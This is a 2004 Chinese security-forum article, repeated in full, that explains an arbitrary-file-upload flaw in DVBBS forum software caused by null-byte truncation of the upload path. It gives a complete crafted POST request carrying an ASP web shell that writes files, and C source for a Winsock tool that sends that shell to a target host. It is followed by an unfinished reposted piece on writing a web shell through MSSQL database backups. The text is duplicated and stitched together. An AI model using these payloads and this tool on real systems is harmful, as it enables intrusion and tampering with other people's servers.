论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的
问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些
人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人
骂,因为这个漏洞实在太大了).
我们先看一下动网论坛上传文件的相关代码:
'===========无组件上传(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上传对象
upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小
iCount=0
if upload.err > 0 then
select case upload.err
case 1
Response.Write "请先选择你要上传的文件 [ 重新上传 ]"
case 2
Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ 重新上传 ]"
end select
exit sub
else
formPath=upload.form("filepath")
''在目录后加(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"
for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<100 then
response.write "请先选择你要上传的图片 [ 重新上传 ]"
response.end
end if
fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正确 [ 重新上传 ]"
response.end
end if
randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
file.SaveToFile Server.mappath(filename) ''保存文件
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!
"
response.write ""
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&" 个文件上传结束!"
end if
end sub
在上面代码中可以看到这样一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是
程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里
来的呢?我们可以在reg_upload.asp中找到这样的代码:
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件
也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.
将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.
当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的
是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,
如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"
这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.
因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.
我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):
POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"
uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"
upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "save Success!"%>
<%else%>
<%response.write "Save UnSuccess!"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write ""%>
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"
C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"
上传
-----------------------------7d4a325500d2--
上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"
C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,
(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).
至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个
"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,
大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,
代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,
然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有
复制换行才失败的.
写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
#include
#include
#include "Resource.h"
#pragma comment(lib,"ws2_32.lib")
HINSTANCE g_hInst;
HWND g_hWnd;
HWND m_up;
HWND m_host;
HWND m_webpath;
HWND m_path;
HWND m_filename;
HWND m_upload;
DWORD m_theadid;
BYTE sendbuf[10000];
char host[80]; //主机地址
char bbspath[50]; //论坛地址
char uppath[20]; //上传目录
char upfilename[50]; //上传文件名
char upfiledata[8000]; //上传文件内容
int sendsize; //总传送数据大小
int realsndsize = 0; //传送页面文件的大小
char snddata[8000];
char mm[1000]=
"<%dim objFSO%>\r\n"
"<%dim fdata%>\r\n"
"<%dim objCountFile%>\r\n"
"<%on error resume next%>\r\n"
"<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
"<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
"<%fdata = request(\"cyfddata\")%>\r\n"
"<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
"<%objCountFile.Write fdata%>\r\n"
"<%if err =0 then%>\r\n"
"<%response.write \"save Success!\"%>\r\n"
"<%else%>"
"<%response.write \"Save UnSuccess!\"%>\r\n"
"<%end if%>\r\n"
"<%err.clear%>\r\n"
"<%end if%>"
"<%objCountFile.Close%>\r\n"
"<%Set objCountFile=Nothing%>\r\n"
"<%Set objFSO = Nothing%>"
"<%Response.write \"\"%>\r\n";
//获得控件文本
char *gettext(HWND chwnd)
{
char tmpbuf[10000];
SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
return tmpbuf;
}
//设置控件文本
void settext(HWND chwnd,char *text)
{
SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
}
char *itos(int data)
{
char tmp[10];
sprintf(tmp, "%d", data);
return tmp;
}
//上传线程
DWORD WINAPI uploadthread(LPVOID param)
{
SOCKET s;
sockaddr_in sin;
struct hostent * hp;
unsigned int addr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ZeroMemory((void *)&sin, sizeof(sin));
hp = gethostbyname(gettext(m_host));
if (!hp)
addr = inet_addr(gettext(m_host));
if ((!hp) && (addr == INADDR_NONE) )
{
MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
return 0;
}
if (hp != NULL)
memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
else
sin.sin_addr.s_addr = addr;
sin.sin_port = htons(80);
sin.sin_family = AF_INET;
strcpy(host, gettext(m_host));
strcpy(bbspath, gettext(m_webpath));
strcpy(upfiledata, gettext(m_upload));
strcpy(uppath, gettext(m_path));
strcpy(upfilename, gettext(m_filename));
realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
"Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
"Accept-Language: zh-cn\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n"
"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
"%s\\%s",
bbspath,
host,
realsndsize,
uppath,
upfilename);
sendsize = strlen((char *)sendbuf);
sendbuf[sendsize] = '\0';
sprintf(snddata,
"\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"act\"\r\n\r\n"
"upload\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"%s\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
"C:\\1.gif\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
"上传\r\n"
"-----------------------------7d4a325500d2--\r\n\r\n",
upfiledata);
strcat((char *)&sendbuf[sendsize+1], snddata);
sendsize += strlen(snddata);
sendsize += 1;
if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
{
MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_ICONERROR);
return 0;
}
int sendsz = send(s, (char *)sendbuf, sendsize, 0);
if(sendsz <= 0)
MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
char recvbuf[10000];
recv(s, (char*)recvbuf, 10000, 0);
settext(m_upload, recvbuf);
closesocket(s);
return 0;
}
void WINAPI On_Command(WPARAM wParam)
{
switch (LOWORD(wParam))
{
case ID_UP:
CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
break;
case IDCANCEL:
SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
break;
}
}
static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_INITDIALOG:
g_hWnd = hWndDlg;
m_up = GetDlgItem(g_hWnd, ID_UP);
m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
settext(m_host, "192.168.10.101");
settext(m_webpath, "/");
settext(m_path, "uploadface");
settext(m_filename, "zwell.asp");
settext(m_upload, mm);
return TRUE;
case WM_COMMAND:
On_Command(wParam);
break;
case WM_SIZE:
break;
case WM_CLOSE:
EndDialog(g_hWnd,0);
break;
}
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
WSADATA wsaData;
g_hInst=hInstance;
if(WSAStartup(MAKEWORD(1, 1), &wsaData))
{
MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP);
return 0;
}
DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
WSACleanup();
return 1;
}
WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000测试通过
完整源代码暂时不提供,大家可以到论坛留言一下,如果联盟同意的话,我再公布吧.
有什么问题欢迎与我交流:zwell@sohu.com http://www.54nb.com
转贴请保证文章完整性.
创建时间:2004-05-17
文章属性:原创
文章提交:suei8423 (suei8423_at_163.com)
动网论坛上传文件漏洞的原理以及攻击的代码实现
----Zwell
---http://www.54nb.com
最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪说动网
论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的
问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些
人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人
骂,因为这个漏洞实在太大了).
我们先看一下动网论坛上传文件的相关代码:
'===========无组件上传(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上传对象
upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小
iCount=0
if upload.err > 0 then
select case upload.err
case 1
Response.Write "请先选择你要上传的文件 [ 重新上传 ]"
case 2
Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ 重新上传 ]"
end select
exit sub
else
formPath=upload.form("filepath")
''在目录后加(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"
for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<100 then
response.write "请先选择你要上传的图片 [ 重新上传 ]"
response.end
end if
fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正确 [ 重新上传 ]"
response.end
end if
randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
file.SaveToFile Server.mappath(filename) ''保存文件
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!
"
response.write ""
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&" 个文件上传结束!"
end if
end sub
在上面代码中可以看到这样一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是
程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里
来的呢?我们可以在reg_upload.asp中找到这样的代码:
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件
也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.
将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.
当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的
是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,
如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"
这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.
因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.
我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):
POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"
uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"
upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "save Success!"%>
<%else%>
<%response.write "Save UnSuccess!"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write ""%>
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"
C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"
上传
-----------------------------7d4a325500d2--
上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"
C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,
(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).
至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个
"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,
大家看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,
代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,
然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有
复制换行才失败的.
写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
#include
#include
#include "Resource.h"
#pragma comment(lib,"ws2_32.lib")
HINSTANCE g_hInst;
HWND g_hWnd;
HWND m_up;
HWND m_host;
HWND m_webpath;
HWND m_path;
HWND m_filename;
HWND m_upload;
DWORD m_theadid;
BYTE sendbuf[10000];
char host[80]; //主机地址
char bbspath[50]; //论坛地址
char uppath[20]; //上传目录
char upfilename[50]; //上传文件名
char upfiledata[8000]; //上传文件内容
int sendsize; //总传送数据大小
int realsndsize = 0; //传送页面文件的大小
char snddata[8000];
char mm[1000]=
"<%dim objFSO%>\r\n"
"<%dim fdata%>\r\n"
"<%dim objCountFile%>\r\n"
"<%on error resume next%>\r\n"
"<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
"<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
"<%fdata = request(\"cyfddata\")%>\r\n"
"<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
"<%objCountFile.Write fdata%>\r\n"
"<%if err =0 then%>\r\n"
"<%response.write \"save Success!\"%>\r\n"
"<%else%>"
"<%response.write \"Save UnSuccess!\"%>\r\n"
"<%end if%>\r\n"
"<%err.clear%>\r\n"
"<%end if%>"
"<%objCountFile.Close%>\r\n"
"<%Set objCountFile=Nothing%>\r\n"
"<%Set objFSO = Nothing%>"
"<%Response.write \"\"%>\r\n";
//获得控件文本
char *gettext(HWND chwnd)
{
char tmpbuf[10000];
SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
return tmpbuf;
}
//设置控件文本
void settext(HWND chwnd,char *text)
{
SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
}
char *itos(int data)
{
char tmp[10];
sprintf(tmp, "%d", data);
return tmp;
}
//上传线程
DWORD WINAPI uploadthread(LPVOID param)
{
SOCKET s;
sockaddr_in sin;
struct hostent * hp;
unsigned int addr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ZeroMemory((void *)&sin, sizeof(sin));
hp = gethostbyname(gettext(m_host));
if (!hp)
addr = inet_addr(gettext(m_host));
if ((!hp) && (addr == INADDR_NONE) )
{
MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
return 0;
}
if (hp != NULL)
memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
else
sin.sin_addr.s_addr = addr;
sin.sin_port = htons(80);
sin.sin_family = AF_INET;
strcpy(host, gettext(m_host));
strcpy(bbspath, gettext(m_webpath));
strcpy(upfiledata, gettext(m_upload));
strcpy(uppath, gettext(m_path));
strcpy(upfilename, gettext(m_filename));
realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
"Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
"Accept-Language: zh-cn\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n"
"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
"%s\\%s",
bbspath,
host,
realsndsize,
uppath,
upfilename);
sendsize = strlen((char *)sendbuf);
sendbuf[sendsize] = '\0';
sprintf(snddata,
"\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"act\"\r\n\r\n"
"upload\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"%s\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
"C:\\1.gif\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
"上传\r\n"
"-----------------------------7d4a325500d2--\r\n\r\n",
upfiledata);
strcat((char *)&sendbuf[sendsize+1], snddata);
sendsize += strlen(snddata);
sendsize += 1;
if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
{
MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_ICONERROR);
return 0;
}
int sendsz = send(s, (char *)sendbuf, sendsize, 0);
if(sendsz <= 0)
MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
char recvbuf[10000];
recv(s, (char*)recvbuf, 10000, 0);
settext(m_upload, recvbuf);
closesocket(s);
return 0;
}
void WINAPI On_Command(WPARAM wParam)
{
switch (LOWORD(wParam))
{
case ID_UP:
CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
break;
case IDCANCEL:
SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
break;
}
}
static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_INITDIALOG:
g_hWnd = hWndDlg;
m_up = GetDlgItem(g_hWnd, ID_UP);
m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
settext(m_host, "192.168.10.101");
settext(m_webpath, "/");
settext(m_path, "uploadface");
settext(m_filename, "zwell.asp");
settext(m_upload, mm);
return TRUE;
case WM_COMMAND:
On_Command(wParam);
break;
case WM_SIZE:
break;
case WM_CLOSE:
EndDialog(g_hWnd,0);
break;
}
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
WSADATA wsaData;
g_hInst=hInstance;
if(WSAStartup(MAKEWORD(1, 1), &wsaData))
{
MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP);
return 0;
}
DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
WSACleanup();
return 1;
}
WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000测试通过
完整源代码暂时不提供,大家可以到论坛留言一下,如果联盟同意的话,我再公布吧.
有什么问题欢迎与我交流:zwell@sohu.com http://www.54nb.com
转贴请保证文章完整性.
Backup a shell
Backup a shell
创建时间:2004-05-17
文章属性:转载
文章提交:velvet (zodiacsoft_at_hotmail.com)
论坛登陆名: SWAN
提交者邮件地址: ????
提交者QQ号码: ????
版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!
标题: Backup a shell
●写在前面:
本来这也不是什么大不了的东西,但是我写了还没有贴出来的时候,有一天QQ上居然有人神神秘秘地把这篇文章传给了我,隔了不久又有人送了我一个这方面的工具!我好感动哦,5555555~
我也不追问他们是哪里得来的了,我给过的就几个,总是这样子传出去的吧。反正大家都知道,也没有什么好保留的,于是在黑防四期上骗了点钱,过程就是这样。
过了五一节我拿出原来写的又改了一下,webshell改得更短,加了些在括号中的注释,不过,最重要的还是加了下面一句:
+----------------------------------------+
|谨以此文献给我最最最最最喜欢的宝贝星星。|
+----------------------------------------+
●正文:
最早想到利用数据库系统来写文件大约是在看到MySQL相关文章的时候,我记得有篇经典的贴子是讲利用TCP反弹结合输入法漏洞入侵的,第一步,也是很重要的一步就是利用了MySQL导出表到文件获得了一个web上的shell。回过头来我想,ACCESS功能不那么强大,有注入漏洞的时候也不能直接获得执行任何命令的权限,就不去看了(事实上还是可以……);MSSQL倒是有很多人详细研究过,执行命令的方法罗列了很多,可是没有了exec的权限,所做的还是有限。很多人就在问,MSSQL下面能不能导出一张表到文件,就像MySQL那样子,至少先获得一个低权限的shell来看看,我找来找去也没有找到导出表的命令,只好退而求其次——不能导出表,那就只好导出数据库了。
在说明做法前,还是先来看看为什么可以。IIS在通过asp.dll处理.asp扩展名文件的时候,对<%%>以外的内容,不做任何处理就直接输出,比如拷贝一个.exe文件到web发布目录,改扩展名为.asp后在IE中请求,返回来的结果是多半是.exe文件的内容,而不会是一个500服务器内部错误。而对于<%%>括起来的内容,默认情况下是按照VBScripts的方式解释执行后给出结果,如果在<%%>里面的内容有语法错误,才会出现常见的500服务器内部错误。换句话说,如果有一个以.asp为扩展名的文件,只要能精心控制所有的<%%>中的内容,我们就能够让它正确的执行,而至于<%%>以外的东西,asp.dll不去处理它,我们也不去关心。(这个有点像我朋友在做的预处理,<%%>外的就像是注释,里面的东西才被解释执行然后返回结果)
再来看看在MSSQL下使用backup database的情况。随便导出一个数据库看看,比如model,当然了,可以在查询分析器中做:
backup database model to disk='c:\a.txt'
用文本的方式打开这个文件,查找是否存在<%和%>,呵呵,显然是没有的吧。通过上面的分析,我们知道,如果把这个文件改扩展名为.asp后,请求时不会出现问题,也就是说我们的请求会返回文本方式的内容。默认的导出文件不会导致解释执行时的错误,这是很关键的一步。下面我们要让他变为一个shell,方法自然是做一个表进去,表的内容在备份的时候一定会被存储到备份文件中去的,我们可以控制表的内容,自然也可以控制备份文件的内容。
